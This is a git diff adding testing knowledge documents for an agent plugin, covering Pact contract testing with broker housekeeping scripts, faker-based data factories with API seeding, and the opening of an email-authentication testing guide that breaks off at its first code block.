+        headers: { 'Content-Type': 'application/json' },
+        body: like({ id: 1, name: 'John' }),
+      })
+      .withDelay(15000) // Simulate 15 second delay
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            timeout: 10000, // 10 second timeout
+          });
+          fail('Should have timed out');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('TIMEOUT');
+        }
+      });
+  });
+
+  /**
+   * Test partial response (optional fields)
+   * Verifies consumer handles missing optional data
+   */
+  it('should handle response with missing optional fields', async () => {
+    await provider
+      .given('user exists with minimal data')
+      .uponReceiving('a request for user with partial data')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          id: integer(1),
+          name: string('John Doe'),
+          email: string('john@example.com'),
+          // role, createdAt, etc. omitted (optional fields)
+        },
+      })
+      .executeTest(async (mockServer) => {
+        const user = await getUserById(1, { baseURL: mockServer.url });
+
+        // Consumer handles missing optional fields gracefully
+        expect(user.id).toBe(1);
+        expect(user.name).toBe('John Doe');
+        expect(user.role).toBeUndefined(); // Optional field
+        expect(user.createdAt).toBeUndefined(); // Optional field
+      });
+  });
+});
+```
+
+**API client with retry logic**:
+
+```typescript
+// src/api/user-service.ts
+import axios, { AxiosInstance, AxiosRequestConfig } from 'axios';
+
+export class ApiError extends Error {
+  constructor(
+    message: string,
+    public code: string,
+    public retryable: boolean = false,
+    public retryAfter?: number,
+  ) {
+    super(message);
+  }
+}
+
+/**
+ * User API client with retry and error handling
+ */
+export async function getUserById(
+  id: number,
+  config?: AxiosRequestConfig & { retries?: number; retryDelay?: number; respectRateLimit?: boolean },
+): Promise<User> {
+  const { retries = 3, retryDelay = 1000, respectRateLimit = true, ...axiosConfig } = config || {};
+
+  let lastError: Error;
+
+  for (let attempt = 1; attempt <= retries; attempt++) {
+    try {
+      const response = await axios.get(`/users/${id}`, axiosConfig);
+      return response.data;
+    } catch (error: any) {
+      lastError = error;
+
+      // Handle rate limiting
+      if (error.response?.status === 429) {
+        const retryAfter = parseInt(error.response.headers['retry-after'] || '60');
+        throw new ApiError('Too many requests', 'RATE_LIMIT_EXCEEDED', false, retryAfter);
+      }
+
+      // Retry on 500 errors
+      if (error.response?.status === 500 && attempt < retries) {
+        await new Promise((resolve) => setTimeout(resolve, retryDelay * attempt));
+        continue;
+      }
+
+      // Handle 404
+      if (error.response?.status === 404) {
+        throw new ApiError('User not found', 'USER_NOT_FOUND', false);
+      }
+
+      // Handle timeout
+      if (error.code === 'ECONNABORTED') {
+        throw new ApiError('Request timeout', 'TIMEOUT', true);
+      }
+
+      break;
+    }
+  }
+
+  throw new ApiError('Request failed after retries', 'INTERNAL_ERROR', true);
+}
+```
+
+**Key Points**:
+
+- **Resilience contracts**: Timeouts, retries, errors explicitly tested
+- **State handlers**: Provider sets up each test scenario
+- **Error handling**: Consumer validates graceful degradation
+- **Retry logic**: Exponential backoff tested
+- **Optional fields**: Consumer handles partial responses
+
+---
+
+### Example 5: Pact Broker Housekeeping & Lifecycle Management
+
+**Context**: Automated broker maintenance to prevent contract sprawl and noise.
+
+**Implementation**:
+
+```typescript
+// scripts/pact-broker-housekeeping.ts
+/**
+ * Pact Broker Housekeeping Script
+ * - Archive superseded contracts
+ * - Expire unused pacts
+ * - Tag releases for environment tracking
+ */
+
+import { execFileSync } from 'node:child_process';
+
+const PACT_BROKER_BASE_URL = process.env.PACT_BROKER_BASE_URL!;
+const PACT_BROKER_TOKEN = process.env.PACT_BROKER_TOKEN!;
+const PACTICIPANT = 'user-api-service';
+
+/**
+ * Tag release with environment
+ */
+function tagRelease(version: string, environment: 'staging' | 'production') {
+  console.log(`🏷️  Tagging ${PACTICIPANT} v${version} as ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'create-version-tag',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--tag',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Record deployment to environment
+ */
+function recordDeployment(version: string, environment: 'staging' | 'production') {
+  console.log(`📝 Recording deployment of ${PACTICIPANT} v${version} to ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'record-deployment',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--environment',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Clean up old pact versions (retention policy)
+ * Keep: last 30 days, all production tags, latest from each branch
+ */
+function cleanupOldPacts() {
+  console.log(`🧹 Cleaning up old pacts for ${PACTICIPANT}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'clean',
+      '--pacticipant',
+      PACTICIPANT,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+      '--keep-latest-for-branch',
+      '1',
+      '--keep-min-age',
+      '30',
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Check deployment compatibility
+ */
+function canIDeploy(version: string, toEnvironment: string): boolean {
+  console.log(`🔍 Checking if ${PACTICIPANT} v${version} can deploy to ${toEnvironment}`);
+
+  try {
+    execFileSync(
+      'pact-broker',
+      [
+        'can-i-deploy',
+        '--pacticipant',
+        PACTICIPANT,
+        '--version',
+        version,
+        '--to-environment',
+        toEnvironment,
+        '--broker-base-url',
+        PACT_BROKER_BASE_URL,
+        '--broker-token',
+        PACT_BROKER_TOKEN,
+        '--retry-while-unknown',
+        '10',
+        '--retry-interval',
+        '30',
+      ],
+      { stdio: 'inherit' },
+    );
+    return true;
+  } catch (error) {
+    console.error(`❌ Cannot deploy to ${toEnvironment}`);
+    return false;
+  }
+}
+
+/**
+ * Main housekeeping workflow
+ */
+async function main() {
+  const command = process.argv[2];
+  const version = process.argv[3];
+  const environment = process.argv[4] as 'staging' | 'production';
+
+  switch (command) {
+    case 'tag-release':
+      tagRelease(version, environment);
+      break;
+
+    case 'record-deployment':
+      recordDeployment(version, environment);
+      break;
+
+    case 'can-i-deploy':
+      const canDeploy = canIDeploy(version, environment);
+      process.exit(canDeploy ? 0 : 1);
+
+    case 'cleanup':
+      cleanupOldPacts();
+      break;
+
+    default:
+      console.error('Unknown command. Use: tag-release | record-deployment | can-i-deploy | cleanup');
+      process.exit(1);
+  }
+}
+
+main();
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "pact:tag": "ts-node scripts/pact-broker-housekeeping.ts tag-release",
+    "pact:record": "ts-node scripts/pact-broker-housekeeping.ts record-deployment",
+    "pact:can-deploy": "ts-node scripts/pact-broker-housekeeping.ts can-i-deploy",
+    "pact:cleanup": "ts-node scripts/pact-broker-housekeeping.ts cleanup"
+  }
+}
+```
+
+**Deployment workflow integration**:
+
+```yaml
+# .github/workflows/deploy-production.yml
+name: Deploy to Production
+on:
+  push:
+    tags:
+      - 'v*'
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Check pact compatibility
+        run: npm run pact:can-deploy ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+
+  deploy:
+    needs: verify-contracts
+    runs-on: ubuntu-latest
+    steps:
+      - name: Deploy to production
+        run: ./scripts/deploy.sh production
+
+      - name: Record deployment in Pact Broker
+        run: npm run pact:record ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Scheduled cleanup**:
+
+```yaml
+# .github/workflows/pact-housekeeping.yml
+name: Pact Broker Housekeeping
+on:
+  schedule:
+    - cron: '0 2 * * 0' # Weekly on Sunday at 2 AM
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Cleanup old pacts
+        run: npm run pact:cleanup
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Key Points**:
+
+- **Automated tagging**: Releases tagged with environment
+- **Deployment tracking**: Broker knows which version is where
+- **Safety gate**: can-i-deploy blocks incompatible deployments
+- **Retention policy**: Keep recent, production, and branch-latest pacts
+- **Webhook triggers**: Provider verification runs on consumer changes
+
+---
+
+## Provider Scrutiny Protocol
+
+When generating consumer contract tests, the agent **MUST** analyze provider source code — or the provider's OpenAPI/Swagger spec — before writing any Pact interaction. Generating contracts from consumer-side assumptions alone leads to mismatches that only surface during provider verification — wrong response shapes, wrong status codes, wrong field names, wrong types, missing required fields, and wrong enum values.
+
+**Source priority**: Provider source code is the most authoritative reference. When an OpenAPI/Swagger spec exists (`openapi.yaml`, `openapi.json`, `swagger.json`), use it as a complementary or alternative source — it documents the provider's contract explicitly and can be faster to parse than tracing through handler code. When both exist, cross-reference them; if they disagree, the source code wins.
+
+### Provider Endpoint Comment
+
+Every Pact interaction MUST include a provider endpoint comment immediately above the `.given()` call:
+
+```typescript
+// Provider endpoint: server/src/routes/userRouteHandlers.ts -> GET /api/v2/users/:userId
+await provider.given('user with id 1 exists').uponReceiving('a request for user 1');
+```
+
+**Format**: `// Provider endpoint: <relative-path-to-handler> -> <METHOD> <route-pattern>`
+
+If the provider source is not accessible, use: `// Provider endpoint: TODO — provider source not accessible, verify manually`
+
+### Seven-Point Scrutiny Checklist
+
+Before generating each Pact interaction, read the provider route handler and/or OpenAPI spec and verify:
+
+| #   | Check                 | What to Read (source code / OpenAPI spec)                         | Common Mismatch                                               |
+| --- | --------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------- |
+| 1   | **Response shape**    | Handler's `res.json()` calls / OpenAPI `responses.content.schema` | Nested object vs flat; array wrapper vs direct                |
+| 2   | **Status codes**      | Handler's `res.status()` calls / OpenAPI `responses` keys         | 200 vs 201 for creation; 204 vs 200 for delete                |
+| 3   | **Field names**       | Response type/DTO definitions / OpenAPI `schema.properties`       | `transaction_id` vs `transactionId`; `fraud_score` vs `score` |
+| 4   | **Enum values**       | Validation schemas, constants / OpenAPI `schema.enum`             | `"active"` vs `"ACTIVE"`; `"pending"` vs `"in_progress"`      |
+| 5   | **Required fields**   | Request validation (Joi, Zod) / OpenAPI `schema.required`         | Missing required header; optional field assumed required      |
+| 6   | **Data types**        | TypeScript types, DB models / OpenAPI `schema.type` + `format`    | `string` ID vs `number` ID; ISO date vs Unix timestamp        |
+| 7   | **Nested structures** | Response builder, serializer / OpenAPI `$ref` + `allOf`/`oneOf`   | `{ data: { items: [] } }` vs `{ items: [] }`                  |
+
+### Scrutiny Evidence Block
+
+Document what was found from provider source and/or OpenAPI spec as a block comment in the test file:
+
+```typescript
+/*
+ * Provider Scrutiny Evidence:
+ * - Handler: server/src/routes/userRouteHandlers.ts:45
+ * - OpenAPI: server/openapi.yaml paths./api/v2/users/{userId}.get (if available)
+ * - Response type: UserResponseDto (server/src/types/user.ts:12)
+ * - Status: 200 (line 52), 404 (line 48)
+ * - Fields: { id: number, name: string, email: string, role: "user" | "admin", createdAt: string }
+ * - Required request headers: Authorization (Bearer token)
+ * - Validation: Zod schema at server/src/validation/user.ts:8
+ */
+```
+
+### Graceful Degradation
+
+When provider source code is not accessible (different repo, no access, closed source):
+
+1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names
+2. **Pact Broker has existing contracts**: Use `pact_mcp` tools to fetch existing provider states and verified interactions as reference
+3. **Neither available**: Generate contracts from consumer-side types but use the TODO form of the mandatory comment: `// Provider endpoint: TODO — provider source not accessible, verify manually` and add a `provider_scrutiny: "pending"` field to the output JSON
+4. **Never silently guess**: If you cannot verify, document what you assumed and why
+
+---
+
+## Contract Testing Checklist
+
+Before implementing contract testing, verify:
+
+- [ ] **Pact Broker setup**: Hosted (Pactflow) or self-hosted broker configured
+- [ ] **Consumer tests**: Generate pacts in CI, publish to broker on merge
+- [ ] **Provider verification**: Runs on PR, verifies all consumer pacts
+- [ ] **State handlers**: Provider implements all given() states
+- [ ] **can-i-deploy**: Blocks deployment if contracts incompatible
+- [ ] **Webhooks configured**: Consumer changes trigger provider verification
+- [ ] **Retention policy**: Old pacts archived (keep 30 days, all production tags)
+- [ ] **Resilience tested**: Timeouts, retries, error codes in contracts
+- [ ] **Provider endpoint comments**: Every Pact interaction has `// Provider endpoint:` comment
+- [ ] **Provider scrutiny completed**: Seven-point checklist verified for each interaction
+- [ ] **Scrutiny evidence documented**: Block comment with handler, types, status codes, and fields
+
+## Integration Points
+
+- Used in workflows: `*automate` (integration test generation), `*ci` (contract CI setup)
+- Related fragments: `test-levels-framework.md`, `ci-burn-in.md`, `pact-consumer-framework-setup.md`
+- Tools: Pact.js, Pact Broker (Pactflow or self-hosted), Pact CLI
+
+---
+
+## Pact.js Utils Accelerator
+
+When `tea_use_pactjs_utils` is enabled, the following utilities replace manual boilerplate:
+
+| Manual Pattern (raw Pact.js)                             | Pact.js Utils Equivalent                                                          | Benefit                                                               |
+| -------------------------------------------------------- | --------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
+| Manual `JsonMap` casting for `.given()` params           | `createProviderState({ name, params })`                                           | Type-safe, auto-conversion of Date/null/nested objects                |
+| Repeated builder callbacks for query/header/body         | `setJsonContent({ query, headers, body })`                                        | Reusable callback for `.withRequest(...)` and `.willRespondWith(...)` |
+| Inline body lambda `(builder) => builder.jsonBody(body)` | `setJsonBody(body)`                                                               | Body-only shorthand for cleaner response builders                     |
+| 30+ lines of `VerifierOptions` assembly                  | `buildVerifierOptions({ provider, port, includeMainAndDeployed, stateHandlers })` | One-call setup, env-aware, flow auto-detection                        |
+| Manual broker URL + selector logic from env vars         | `handlePactBrokerUrlAndSelectors({ ..., options })`                               | Mutates options in-place with broker URL and selectors                |
+| DIY Express middleware for auth injection                | `createRequestFilter({ tokenGenerator })`                                         | Bearer prefix contract prevents double-prefix bugs                    |
+| Manual CI branch/tag extraction                          | `getProviderVersionTags()`                                                        | CI-aware (GitHub Actions, GitLab CI, etc.)                            |
+| Message verifier config assembly                         | `buildMessageVerifierOptions({ provider, messageProviders })`                     | Same one-call pattern for Kafka/async contracts                       |
+| Inline no-op filter `(req, res, next) => next()`         | `noOpRequestFilter`                                                               | Pre-built pass-through for no-auth providers                          |
+
+See the `pactjs-utils-*.md` knowledge fragments for complete examples and anti-patterns.
+
+_Source: Pact consumer/provider sample repos, Murat contract testing blog, Pact official documentation, @seontechnologies/pactjs-utils library_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/data-factories.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/data-factories.md
new file mode 100644
index 0000000..6820a30
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/data-factories.md
@@ -0,0 +1,500 @@
+# Data Factories and API-First Setup
+
+## Principle
+
+Prefer factory functions that accept overrides and return complete objects (`createUser(overrides)`). Seed test state through APIs, tasks, or direct DB helpers before visiting the UI—never via slow UI interactions. UI is for validation only, not setup.
+
+## Rationale
+
+Static fixtures (JSON files, hardcoded objects) create brittle tests that:
+
+- Fail when schemas evolve (missing new required fields)
+- Cause collisions in parallel execution (same user IDs)
+- Hide test intent (what matters for _this_ test?)
+
+Dynamic factories with overrides provide:
+
+- **Parallel safety**: UUIDs and timestamps prevent collisions
+- **Schema evolution**: Defaults adapt to schema changes automatically
+- **Explicit intent**: Overrides show what matters for each test
+- **Speed**: API setup is 10-50x faster than UI
+
+## Pattern Examples
+
+### Example 1: Factory Function with Overrides
+
+**Context**: When creating test data, build factory functions with sensible defaults and explicit overrides. Use `faker` for dynamic values that prevent collisions.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts
+import { faker } from '@faker-js/faker';
+
+type User = {
+  id: string;
+  email: string;
+  name: string;
+  role: 'user' | 'admin' | 'moderator';
+  createdAt: Date;
+  isActive: boolean;
+};
+
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// test-utils/factories/product-factory.ts
+type Product = {
+  id: string;
+  name: string;
+  price: number;
+  stock: number;
+  category: string;
+};
+
+export const createProduct = (overrides: Partial<Product> = {}): Product => ({
+  id: faker.string.uuid(),
+  name: faker.commerce.productName(),
+  price: parseFloat(faker.commerce.price()),
+  stock: faker.number.int({ min: 0, max: 100 }),
+  category: faker.commerce.department(),
+  ...overrides,
+});
+
+// Usage in tests:
+test('admin can delete users', async ({ page, apiRequest }) => {
+  // Default user
+  const user = createUser();
+
+  // Admin user (explicit override shows intent)
+  const admin = createUser({ role: 'admin' });
+
+  // Seed via API (fast!)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+
+  // Now test UI behavior
+  await page.goto('/admin/users');
+  await page.click(`[data-testid="delete-user-${user.id}"]`);
+  await expect(page.getByText(`User ${user.name} deleted`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `Partial<User>` allows overriding any field without breaking type safety
+- Faker generates unique values—no collisions in parallel tests
+- Override shows test intent: `createUser({ role: 'admin' })` is explicit
+- Factory lives in `test-utils/factories/` for easy reuse
+
+### Example 2: Nested Factory Pattern
+
+**Context**: When testing relationships (orders with users and products), nest factories to create complete object graphs. Control relationship data explicitly.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/order-factory.ts
+import { createUser } from './user-factory';
+import { createProduct } from './product-factory';
+
+type OrderItem = {
+  product: Product;
+  quantity: number;
+  price: number;
+};
+
+type Order = {
+  id: string;
+  user: User;
+  items: OrderItem[];
+  total: number;
+  status: 'pending' | 'paid' | 'shipped' | 'delivered';
+  createdAt: Date;
+};
+
+export const createOrderItem = (overrides: Partial<OrderItem> = {}): OrderItem => {
+  const product = overrides.product || createProduct();
+  const quantity = overrides.quantity || faker.number.int({ min: 1, max: 5 });
+
+  return {
+    product,
+    quantity,
+    price: product.price * quantity,
+    ...overrides,
+  };
+};
+
+export const createOrder = (overrides: Partial<Order> = {}): Order => {
+  const items = overrides.items || [createOrderItem(), createOrderItem()];
+  const total = items.reduce((sum, item) => sum + item.price, 0);
+
+  return {
+    id: faker.string.uuid(),
+    user: overrides.user || createUser(),
+    items,
+    total,
+    status: 'pending',
+    createdAt: new Date(),
+    ...overrides,
+  };
+};
+
+// Usage in tests:
+test('user can view order details', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com' });
+  const product1 = createProduct({ name: 'Widget A', price: 10.0 });
+  const product2 = createProduct({ name: 'Widget B', price: 15.0 });
+
+  // Explicit relationships
+  const order = createOrder({
+    user,
+    items: [
+      createOrderItem({ product: product1, quantity: 2 }), // $20
+      createOrderItem({ product: product2, quantity: 1 }), // $15
+    ],
+  });
+
+  // Seed via API
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product1 });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product2 });
+  await apiRequest({ method: 'POST', url: '/api/orders', data: order });
+
+  // Test UI
+  await page.goto(`/orders/${order.id}`);
+  await expect(page.getByText('Widget A x 2')).toBeVisible();
+  await expect(page.getByText('Widget B x 1')).toBeVisible();
+  await expect(page.getByText('Total: $35.00')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Nested factories handle relationships (order → user, order → products)
+- Overrides cascade: provide custom user/products or use defaults
+- Calculated fields (total) derived automatically from nested data
+- Explicit relationships make test data clear and maintainable
+
+### Example 3: Factory with API Seeding
+
+**Context**: When tests need data setup, always use API calls or database tasks—never UI navigation. Wrap factory usage with seeding utilities for clean test setup.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/seed-helpers.ts
+import { APIRequestContext } from '@playwright/test';
+import { User, createUser } from '../../test-utils/factories/user-factory';
+import { Product, createProduct } from '../../test-utils/factories/product-factory';
+
+export async function seedUser(request: APIRequestContext, overrides: Partial<User> = {}): Promise<User> {
+  const user = createUser(overrides);
+
+  const response = await request.post('/api/users', {
+    data: user,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed user: ${response.status()}`);
+  }
+
+  return user;
+}
+
+export async function seedProduct(request: APIRequestContext, overrides: Partial<Product> = {}): Promise<Product> {
+  const product = createProduct(overrides);
+
+  const response = await request.post('/api/products', {
+    data: product,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed product: ${response.status()}`);
+  }
+
+  return product;
+}
+
+// Playwright globalSetup for shared data
+// playwright/support/global-setup.ts
+import { chromium, FullConfig } from '@playwright/test';
+import { seedUser } from './helpers/seed-helpers';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+  const context = page.context();
+
+  // Seed admin user for all tests
+  const admin = await seedUser(context.request, {
+    email: 'admin@example.com',
+    role: 'admin',
+  });
+
+  // Save auth state for reuse
+  await context.storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+export default globalSetup;
+
+// Cypress equivalent with cy.task
+// cypress/support/tasks.ts
+export const seedDatabase = async (entity: string, data: unknown) => {
+  // Direct database insert or API call
+  if (entity === 'users') {
+    await db.users.create(data);
+  }
+  return null;
+};
+
+// Usage in Cypress tests:
+beforeEach(() => {
+  const user = createUser({ email: 'test@example.com' });
+  cy.task('db:seed', { entity: 'users', data: user });
+});
+```
+
+**Key Points**:
+
+- API seeding is 10-50x faster than UI-based setup
+- `globalSetup` seeds shared data once (e.g., admin user)
+- Per-test seeding uses `seedUser()` helpers for isolation
+- Cypress `cy.task` allows direct database access for speed
+
+### Example 4: Anti-Pattern - Hardcoded Test Data
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Hardcoded test data
+test('user can login', async ({ page }) => {
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', 'test@test.com'); // Hardcoded
+  await page.fill('[data-testid="password"]', 'password123'); // Hardcoded
+  await page.click('[data-testid="submit"]');
+
+  // What if this user already exists? Test fails in parallel runs.
+  // What if schema adds required fields? Test breaks.
+});
+
+// ❌ BAD: Static JSON fixtures
+// fixtures/users.json
+{
+  "users": [
+    { "id": 1, "email": "user1@test.com", "name": "User 1" },
+    { "id": 2, "email": "user2@test.com", "name": "User 2" }
+  ]
+}
+
+test('admin can delete user', async ({ page }) => {
+  const users = require('../fixtures/users.json');
+  // Brittle: IDs collide in parallel, schema drift breaks tests
+});
+```
+
+**Why It Fails**:
+
+- **Parallel collisions**: Hardcoded IDs (`id: 1`, `email: 'test@test.com'`) cause failures when tests run concurrently
+- **Schema drift**: Adding required fields (`phoneNumber`, `address`) breaks all tests using fixtures
+- **Hidden intent**: Does this test need `email: 'test@test.com'` specifically, or any email?
+- **Slow setup**: UI-based data creation is 10-50x slower than API
+
+**Better Approach**: Use factories
+
+```typescript
+// ✅ GOOD: Factory-based data
+test('user can login', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'unique@example.com', password: 'secure123' });
+
+  // Seed via API (fast, parallel-safe)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+
+  // Test UI
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', user.email);
+  await page.fill('[data-testid="password"]', user.password);
+  await page.click('[data-testid="submit"]');
+
+  await expect(page).toHaveURL('/dashboard');
+});
+
+// ✅ GOOD: Factories adapt to schema changes automatically
+// When `phoneNumber` becomes required, update factory once:
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  phoneNumber: faker.phone.number(), // NEW field, all tests get it automatically
+  role: 'user',
+  ...overrides,
+});
+```
+
+**Key Points**:
+
+- Factories generate unique, parallel-safe data
+- Schema evolution handled in one place (factory), not every test
+- Test intent explicit via overrides
+- API seeding is fast and reliable
+
+### Example 5: Factory Composition
+
+**Context**: When building specialized factories, compose simpler factories instead of duplicating logic. Layer overrides for specific test scenarios.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts (base)
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// Compose specialized factories
+export const createAdminUser = (overrides: Partial<User> = {}): User => createUser({ role: 'admin', ...overrides });
+
+export const createModeratorUser = (overrides: Partial<User> = {}): User => createUser({ role: 'moderator', ...overrides });
+
+export const createInactiveUser = (overrides: Partial<User> = {}): User => createUser({ isActive: false, ...overrides });
+
+// Account-level factories with feature flags
+type Account = {
+  id: string;
+  owner: User;
+  plan: 'free' | 'pro' | 'enterprise';
+  features: string[];
+  maxUsers: number;
+};
+
+export const createAccount = (overrides: Partial<Account> = {}): Account => ({
+  id: faker.string.uuid(),
+  owner: overrides.owner || createUser(),
+  plan: 'free',
+  features: [],
+  maxUsers: 1,
+  ...overrides,
+});
+
+export const createProAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'pro',
+    features: ['advanced-analytics', 'priority-support'],
+    maxUsers: 10,
+    ...overrides,
+  });
+
+export const createEnterpriseAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'enterprise',
+    features: ['advanced-analytics', 'priority-support', 'sso', 'audit-logs'],
+    maxUsers: 100,
+    ...overrides,
+  });
+
+// Usage in tests:
+test('pro accounts can access analytics', async ({ page, apiRequest }) => {
+  const admin = createAdminUser({ email: 'admin@company.com' });
+  const account = createProAccount({ owner: admin });
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Advanced Analytics')).toBeVisible();
+});
+
+test('free accounts cannot access analytics', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'user@company.com' });
+  const account = createAccount({ owner: user }); // Defaults to free plan
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Upgrade to Pro')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Compose specialized factories from base factories (`createAdminUser` → `createUser`)
+- Defaults cascade: `createProAccount` sets plan + features automatically
+- Still allow overrides: `createProAccount({ maxUsers: 50 })` works
+- Test intent clear: `createProAccount()` vs `createAccount({ plan: 'pro', features: [...] })`
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (factory setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Pure functions and fixtures for factory integration
+  - `network-first.md` - API-first setup patterns
+  - `test-quality.md` - Parallel-safe, deterministic test design
+
+## Cleanup Strategy
+
+Ensure factories work with cleanup patterns:
+
+```typescript
+// Track created IDs for cleanup
+const createdUsers: string[] = [];
+
+afterEach(async ({ apiRequest }) => {
+  // Clean up all users created during test
+  for (const userId of createdUsers) {
+    await apiRequest({ method: 'DELETE', url: `/api/users/${userId}` });
+  }
+  createdUsers.length = 0;
+});
+
+test('user registration flow', async ({ page, apiRequest }) => {
+  const user = createUser();
+  createdUsers.push(user.id);
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  // ... test logic
+});
+```
+
+## Feature Flag Integration
+
+When working with feature flags, layer them into factories:
+
+```typescript
+export const createUserWithFlags = (
+  overrides: Partial<User> = {},
+  flags: Record<string, boolean> = {},
+): User & { flags: Record<string, boolean> } => ({
+  ...createUser(overrides),
+  flags: {
+    'new-dashboard': false,
+    'beta-features': false,
+    ...flags,
+  },
+});
+
+// Usage:
+const user = createUserWithFlags(
+  { email: 'test@example.com' },
+  {
+    'new-dashboard': true,
+    'beta-features': true,
+  },
+);
+```
+
+_Source: Murat Testing Philosophy (lines 94-120), API-first testing patterns, faker.js documentation._
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/email-auth.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/email-auth.md
new file mode 100644
index 0000000..653a8eb
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/email-auth.md
@@ -0,0 +1,721 @@
+# Email-Based Authentication Testing
+
+## Principle
+
+Email-based authentication (magic links, one-time codes, passwordless login) requires specialized testing with email capture services like Mailosaur or Ethereal. Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts.
+
+## Rationale
+
+Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state). Using email capture services + session caching + state preservation patterns makes email auth tests fast, reliable, and cost-effective.
+
+## Pattern Examples
+
+### Example 1: Magic Link Extraction with Mailosaur
+
+**Context**: Passwordless login flow where user receives magic link via email, clicks it, and is authenticated.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/magic-link-auth.spec.ts
